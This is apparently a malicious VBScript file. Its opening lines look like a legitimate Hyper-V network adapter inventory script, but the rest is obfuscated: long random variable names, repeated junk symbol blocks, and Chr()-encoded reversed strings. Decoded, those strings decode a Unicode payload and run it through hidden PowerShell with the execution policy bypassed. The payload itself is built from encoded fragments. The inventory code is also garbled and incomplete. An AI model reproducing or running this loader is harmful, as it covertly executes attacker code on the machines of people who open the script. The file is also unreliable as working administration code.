Call AddXmlNodeEntry(xmlDoc, "DeviceId", nic.DeviceId, objNic, objNicId)

Call AddXmlNodeEntry(xmlDoc, "NicUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO", nicUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlOArray(nicUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO), objNic, objNicId)

If (IsNull(nic.NetworkAddresses) = False) Then

For Each networkAddress In nic.NetworkAddresses

Call AddXmlNodeEntry(xmlDoc, "NetworkAddress", networkAddress, objNic, objNicNetAddress)

End If

Call AddXmlNodeEntry(xmlDoc, "PermanentAddress", nic.PermanentAddress, objNic, objNicPermAddress)

Call AddXmlNodeEntry(xmlDoc, "ActiveMTU", nic.ActiveMaximumTransmissionUnit, objNic, objNicActiveMTU)

If (nicUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO = 0 Or nicUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO = 1) Then

Call AddXmlNodeEntry(xmlDoc, "VMId", nic.SystemName, objNic, objNicVmId)

strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"

Set queryResult = objVirtualizationService.ExecQuery(strQuery)

If (queryResult.Count > 0) Then

Set vm = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "VMName", vm.ElementName, objNic, objNicVmName)

End If

' Disconnected NIC info

strQueryArray = Array("Select * from MSVM_SyntheticEthernetPort", "Select * from MSVM_EmulatedEthernetPort")

Call AddXmlNodeEntry(xmlDoc, "DisconnectedNics", null, objRoot, objDisconnectedNics)

For Each strQuery in strQueryArray

Set switchPort = objVirtualizationService.ExecQuery (strQuery)

For Each nic In switchPort

Set lanEndPoint = port.Associators_("Msvm_DeviceSAPImplementation", "Msvm_LANEndpoint")

Set connectedlanEndPoint = lanEndPoint.Associators_("Msvm_ActiveConnection", "Msvm_LANEndpoint")

if (connectedlanEndPoint.Count = 0) Then

Call AddXmlNodeEntry(xmlDoc, "Nic", null, objDisconnectedNics, objNic)

Call AddXmlNodeEntry(xmlDoc, "DeviceId", nic.DeviceId, objNic, objNicId)

If (IsNull(nic.NetworkAddresses) = False) Then

For Each networkAddress In nic.NetworkAddresses

Call AddXmlNodeEntry(xmlDoc, "NetworkAddress", networkAddress, objNic, objNicNetAddress)

End If

Call AddXmlNodeEntry(xmlDoc, "PermanentAddress", nic.PermanentAddress, objNic, objNicPermAddress)

Call AddXmlNodeEntry(xmlDoc, "ActiveMTU", nic.ActiveMaximumTransmissionUnit, objNic, objNicActiveMTU)

Call AddXmlNodeEntry(xmlDoc, "VMId", nic.SystemName, objNic, objNicVmId)

strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"

Set queryResult = objVirtualizationService.ExecQuery(strQuery)

If (queryResult.Count > 0) Then

Set vm = queryResult.ItemIndex(0)

Call AddXmlNodeEntry(xmlDoc, "VMName", vm.ElementName, objNic, objNicVmName)

End If

nicUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO = nicUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO + 1

Set objIntro = xmlDoc.CreateProcessingInstruction ("xml", "version='1.0'")

xmlDoc.insertBefore objIntro, xmlDoc.childNodes(0)

xmlDoc.Save outputFileName

Else

End If

End Sub

On Error Resume Next

mydUSRoLEGPVycHqVosLGgvaCcwKDUEeTAtrSyuzYdpMLMgIuDSPXvMqDhKKwgiXKVvNevgXnLyhWQAyaSAJbgrkSdQNySVPXrrqYpRrBJVeuIjvbQbVZcrVVhcJUdJBxgdchKUCjRsNrxIRqZzBmktFVcLGlYchqmiPCiTcKHhLWGhtkDTeZcxAgdrQCVDwcqQrfvJn

PTBxzRcANCtJhVjffncBsRzDuVKLacaMXNUAKXJvIWZdLoDxYXptDaCECfjFZSxegJroOaUcUCHChwGlIZuUJdhhGAuqIpcDbdxNIvBJoaxmMiRaTupewmdZIIHSHedUZrmyqZEeYUotUFkRSVNPDQHGparWASROOrVuQMCeDffufjTUUNrUdgReBZYGtXMTOKeVVKnW:

MsaXlTjCsCzuCqIpTDDeFFbaEaoMcuREuAAMYRkYSHpsRYXkvUxcFYtmtpDgTodCQdLGkMuNTRHRDvGZYwkKKubhfAJuFxoRFQisRXlgLZiuBRovZsbFsjYYOHCtNxzSNqakBCoeoBKgZFlPzNOLBFuSjIbpitirvqHiTBHitDBnTblsNwMMsaORgvtQALtYjtsKAtUv:hnWHwFSjErxEpeOMBlknMveIjQdxOLFitzjpEDGINDOiAAJGoBGjmRrzSNqcKtTZyLIdczYPHrZBcavWIALwzsXdDvnrJyVeryiRZiTvVkKtiwaAJlXSyXjSXoelxPnjvbmjgfcGVVXGLipgDWEyHpTpbyCQrlhaLUexmbpreOZYTUkAyBsqPqyaaofjGzaPMaRFVLNE:VwfZtAsFJKrXHyIyweshAXeDGdUNpkJOjacRvPIEvgqtEhFWwliXyLvGjKGjtuBPhKQpaUGPivqHOxjWTixxwkbLzeQduVpjmOvaVvbZJTGuoYaGJmnuWmaUKMCjoaXLspXZopbVRdqYLdvGGyPoJsHwWrIdwVDSKHFuZHhEryTbQJSZGcMgWkMLYREkdqgLbLkDMhMz = "%*

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

%*$@*-":zNnROrgNQLSxOmEKlHxNTvMGtVOBpZoZomSeSGDpSnFgEGGlONrZYTZvwwxhpVLezqhtUDeHMOclaaKqGDGMvZUMZyerKuYCUoYBAvqvkmrbirGYgryNmXssDZWOVvNfsMhqZkTaBCCrGbNGguMdQlWJVCSWQQwplxuxCjCefgHzCuGJHsLnNfvcHoIitsVznXVKhOSF:rmhuEPiPnNuGXhxpidNfdqvyyfrsMYmoTngJbRqnVzPzyrXbHXiKduyuprvUyttuYSQtgGZUYubLLymtTSaGdPXaaoFiyyrCTIoDnvpFxNjycqLizPjClmYDjURYDMpdlzNJFlGawbThirzevzKivEtujsqfPAtNopoiMKUAuQVDhLUGVJYBLimrEEtWPkOHWoAvyUAk:

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

Function IyKDBKGDJEQnKHWHnLKFuRIFLZKuORRvJgBPPpluuvpKEAXyLPMUJSDvJFMMnKnvHUSNLHvOKHQXGXBpBSDZLXFcGCQpEWTEOoXnQKVDCSKWCCKJEVpUHnGHLLrPJCCoLBLWAGERWZJHKIClUCMIJDXYdgHUnGOEIYWGLrLQRSKHHMCuPOKUNOnROUHyFgyQUULCKGCM()

zpEqXYMCmUnPhTAyiYzWgmoeXqJBzxaIGcLUDknkhHCpcvKXlJlaeCzLFLdBkELUzgOhGyqZoeTRHfResNCMXLIXEXggxYqSlXorHisWydSMWlHthaNUtkGbeUxZsreabLehdnCXRwZZuKskNkcOUPYxwCUoLeIwEPQGeKlxeyXhiKyCJDGacgKpsXpGEvRqhJnSSHSg = StrReverse(Chr(34)&Chr(40)&Chr(103)&Chr(110)&Chr(105)&Chr(114)&Chr(116)&Chr(83)&Chr(116)&Chr(101)&Chr(71)&Chr(46)&Chr(101)&Chr(100)&Chr(111)&Chr(99)&Chr(105)&Chr(110)&Chr(85)&Chr(58)&Chr(58)&Chr(93)&Chr(103)&Chr(110)&Chr(105)&Chr(100)&Chr(111)&Chr(99)&Chr(110)&Chr(101)&Chr(46)&Chr(116)&Chr(120)&Chr(101)&Chr(84)&Chr(46)&Chr(109)&Chr(101)&Chr(116)&Chr(115)&Chr(121)&Chr(115)&Chr(91)&Chr(32)&Chr(61)&Chr(32)&Chr(100)&Chr(120)&Chr(117)&Chr(106)&Chr(87)&Chr(79)&Chr(36)&Chr(59)&Chr(34))

IyKDBKGDJEQnKHWHnLKFuRIFLZKuORRvJgBPPpluuvpKEAXyLPMUJSDvJFMMnKnvHUSNLHvOKHQXGXBpBSDZLXFcGCQpEWTEOoXnQKVDCSKWCCKJEVpUHnGHLLrPJCCoLBLWAGERWZJHKIClUCMIJDXYdgHUnGOEIYWGLrLQRSKHHMCuPOKUNOnROUHyFgyQUULCKGCM = zpEqXYMCmUnPhTAyiYzWgmoeXqJBzxaIGcLUDknkhHCpcvKXlJlaeCzLFLdBkELUzgOhGyqZoeTRHfResNCMXLIXEXggxYqSlXorHisWydSMWlHthaNUtkGbeUxZsreabLehdnCXRwZZuKskNkcOUPYxwCUoLeIwEPQGeKlxeyXhiKyCJDGacgKpsXpGEvRqhJnSSHSg

End Function

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

Function AvHYPCnYFKBWgvoZlUNLTWJnOpSOGQAGQANUASYWnnZHCGnFZOBOpKUXIQUFQYgXWKVIDJsQKJCAWVGXHMXJUCKHKJHZKTCOnWvYnKOKLUXCMPBJnYXEAHKJDQXCTLZrUIZAZHEnKUGZGTKnODgrVQWHIEVOrAOPAPJAPBCoUGTCDoOJLnJQWBWCCMRnLKDCNddcpWKQ()

FyZwRACusUnVbBQOhQxrrxiAxoAtAZooRBCWJAgKdEtOHnredbjnczwuvROpYuRIxSzhZPFnVvEJYxfBeAeACdHGDQJitTRylbpfogyZipjnDZippQitEotxNBYOeqTlzbqGvPJlHeOPQKXPmvRWXHoEKDIJDdyxqaxTQFFxybeJHWZEIcbNlpBGSotJPkpfWZUNLHSD = StrReverse(Chr(34)&Chr(68)&Chr(120)&Chr(117)&Chr(106)&Chr(87)&Chr(79)&Chr(36)&Chr(32)&Chr(100)&Chr(110)&Chr(97)&Chr(109)&Chr(109)&Chr(111)&Chr(99)&Chr(45)&Chr(32)&Chr(101)&Chr(108)&Chr(105)&Chr(102)&Chr(111)&Chr(114)&Chr(80)&Chr(111)&Chr(78)&Chr(45)&Chr(32)&Chr(115)&Chr(115)&Chr(97)&Chr(112)&Chr(121)&Chr(98)&Chr(32)&Chr(121)&Chr(99)&Chr(105)&Chr(108)&Chr(111)&Chr(112)&Chr(110)&Chr(111)&Chr(105)&Chr(116)&Chr(117)&Chr(99)&Chr(101)&Chr(120)&Chr(101)&Chr(45)&Chr(32)&Chr(110)&Chr(101)&Chr(100)&Chr(100)&Chr(105)&Chr(104)&Chr(32)&Chr(101)&Chr(108)&Chr(121)&Chr(116)&Chr(115)&Chr(119)&Chr(111)&Chr(100)&Chr(110)&Chr(105)&Chr(119)&Chr(45)&Chr(32)&Chr(101)&Chr(120)&Chr(101)&Chr(46)&Chr(108)&Chr(108)&Chr(101)&Chr(104)&Chr(115)&Chr(114)&Chr(101)&Chr(119)&Chr(111)&Chr(112)&Chr(59)&Chr(34))

AvHYPCnYFKBWgvoZlUNLTWJnOpSOGQAGQANUASYWnnZHCGnFZOBOpKUXIQUFQYgXWKVIDJsQKJCAWVGXHMXJUCKHKJHZKTCOnWvYnKOKLUXCMPBJnYXEAHKJDQXCTLZrUIZAZHEnKUGZGTKnODgrVQWHIEVOrAOPAPJAPBCoUGTCDoOJLnJQWBWCCMRnLKDCNddcpWKQ = FyZwRACusUnVbBQOhQxrrxiAxoAtAZooRBCWJAgKdEtOHnredbjnczwuvROpYuRIxSzhZPFnVvEJYxfBeAeACdHGDQJitTRylbpfogyZipjnDZippQitEotxNBYOeqTlzbqGvPJlHeOPQKXPmvRWXHoEKDIJDdyxqaxTQFFxybeJHWZEIcbNlpBGSotJPkpfWZUNLHSD

End Function

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

Function yQuCGnUHRJgACAHGPNKOJGYIPHYLCXoXnJUHryZUVQyLAKnHYHKZCKECgGUZZLcKQZdrCTrrKlTCYMcQDQHDUKNFIdoKGZGCJMoGCFrFrUPPOrEUrHKDYFCKKZJLdGJJnJULnHVXnHTZnYDCZATJMOBDuXlJZGQKlMJKHSnGHJJRJCHcRPPOHDLAGHWUrKMWUKvWBYGK()

hBdBnCviibHMHBrVZQjqEcICziUMtfiFNtFeaxIbIZXlzxoaOzJjJbInpKbKkKTZSxaucuRLhClAjAHouhbuhuGDoCiSuEpJDjdxIFjgAVwpFsujlgXWniHFEVohHNFOTGkedIPANncijCwLEluTWLERbWtizJTTtXzLWVjsJUpmPZDOmqGxxtbQQAoBpbbxrKiyHqbh = StrReverse(Chr(39)&Chr(32)&Chr(61)&Chr(32)&Chr(111)&Chr(103)&Chr(105)&Chr(100)&Chr(111)&Chr(67)&Chr(36))

yQuCGnUHRJgACAHGPNKOJGYIPHYLCXoXnJUHryZUVQyLAKnHYHKZCKECgGUZZLcKQZdrCTrrKlTCYMcQDQHDUKNFIdoKGZGCJMoGCFrFrUPPOrEUrHKDYFCKKZJLdGJJnJULnHVXnHTZnYDCZATJMOBDuXlJZGQKlMJKHSnGHJJRJCHcRPPOHDLAGHWUrKMWUKvWBYGK = hBdBnCviibHMHBrVZQjqEcICziUMtfiFNtFeaxIbIZXlzxoaOzJjJbInpKbKkKTZSxaucuRLhClAjAHouhbuhuGDoCiSuEpJDjdxIFjgAVwpFsujlgXWniHFEVohHNFOTGkedIPANncijCwLEluTWLERbWtizJTTtXzLWVjsJUpmPZDOmqGxxtbQQAoBpbbxrKiyHqbh

End Function

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

*(@#&}%

#+@&&@*44*&*

*@&$**&&&

$$&&$-

#&&^@&$#

*##&&%%

&%#-#&%**

@#!@%#(#**&&&&$#@+#*

}&*@$*&@$#

#+4@4#

ClWNXTkNLKXeUPLKtTdxtfIUDkiKWPvddkeXNIXTfUehGSBTUZYGXUNJfbgdYiSvaOCcXMacRqlPkNCkrWGYhKOvKZcjKyLaiUhGXdJfrvoqdnUkXrTORYGHvqKDWOWdrWwCPSNfUKwPcKxBhdyRvzGxbUgjyjOhWCWGjWICXZIuJpSdXkHSGYZGUNYgqHvtXxklnSWc = " "

" & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & ClWNXTkNLKXeUPLKtTdxtfIUDkiKWPvddkeXNIXTfUehGSBTUZYGXUNJfbgdYiSvaOCcXMacRqlPkNCkrWGYhKOvKZcjKyLaiUhGXdJfrvoqdnUkXrTORYGHvqKDWOWdrWwCPSNfUKwPcKxBhdyRvzGxbUgjyjOhWCWGjWICXZIuJpSdXkHSGYZGUNYgqHvtXxklnSWc & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & "

g" & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & ClWNXTkNLKXeUPLKtTdxtfIUDkiKWPvddkeXNIXTfUehGSBTUZYGXUNJfbgdYiSvaOCcXMacRqlPkNCkrWGYhKOvKZcjKyLaiUhGXdJfrvoqdnUkXrTORYGHvqKDWOWdrWwCPSNfUKwPcKxBhdyRvzGxbUgjyjOhWCWGjWICXZIuJpSdXkHSGYZGUNYgqHvtXxklnSWc & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & "

kBg" & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & ClWNXTkNLKXeUPLKtTdxtfIUDkiKWPvddkeXNIXTfUehGSBTUZYGXUNJfbgdYiSvaOCcXMacRqlPkNCkrWGYhKOvKZcjKyLaiUhGXdJfrvoqdnUkXrTORYGHvqKDWOWdrWwCPSNfUKwPcKxBhdyRvzGxbUgjyjOhWCWGjWICXZIuJpSdXkHSGYZGUNYgqHvtXxklnSWc & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & "

jBQ" & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & ClWNXTkNLKXeUPLKtTdxtfIUDkiKWPvddkeXNIXTfUehGSBTUZYGXUNJfbgdYiSvaOCcXMacRqlPkNCkrWGYhKOvKZcjKyLaiUhGXdJfrvoqdnUkXrTORYGHvqKDWOWdrWwCPSNfUKwPcKxBhdyRvzGxbUgjyjOhWCWGjWICXZIuJpSdXkHSGYZGUNYgqHvtXxklnSWc & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & "

0BQ" & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & ClWNXTkNLKXeUPLKtTdxtfIUDkiKWPvddkeXNIXTfUehGSBTUZYGXUNJfbgdYiSvaOCcXMacRqlPkNCkrWGYhKOvKZcjKyLaiUhGXdJfrvoqdnUkXrTORYGHvqKDWOWdrWwCPSNfUKwPcKxBhdyRvzGxbUgjyjOhWCWGjWICXZIuJpSdXkHSGYZGUNYgqHvtXxklnSWc & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & "

kBQ" & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & ClWNXTkNLKXeUPLKtTdxtfIUDkiKWPvddkeXNIXTfUehGSBTUZYGXUNJfbgdYiSvaOCcXMacRqlPkNCkrWGYhKOvKZcjKyLaiUhGXdJfrvoqdnUkXrTORYGHvqKDWOWdrWwCPSNfUKwPcKxBhdyRvzGxbUgjyjOhWCWGjWICXZIuJpSdXkHSGYZGUNYgqHvtXxklnSWc & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & "

Q" & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & ClWNXTkNLKXeUPLKtTdxtfIUDkiKWPvddkeXNIXTfUehGSBTUZYGXUNJfbgdYiSvaOCcXMacRqlPkNCkrWGYhKOvKZcjKyLaiUhGXdJfrvoqdnUkXrTORYGHvqKDWOWdrWwCPSNfUKwPcKxBhdyRvzGxbUgjyjOhWCWGjWICXZIuJpSdXkHSGYZGUNYgqHvtXxklnSWc & qDWLMJYRUOSPOfswrJRGWchemLPkyPJsJPPShhPNCwwGTrPKePKfSWqaGTKLneTJuWnMMtRyAGSPXlnLKqwNKozfwHKizRYuyKxuMGuSaTxbGBOYfKPLBRQyfZyWQsNqaOWiaraWOqWGGOKPWqvBgGwmTKJQYJJLiilgvqvnbPhvKQUTbYyUDRdPwanLYOfrSMXRBnNy & "

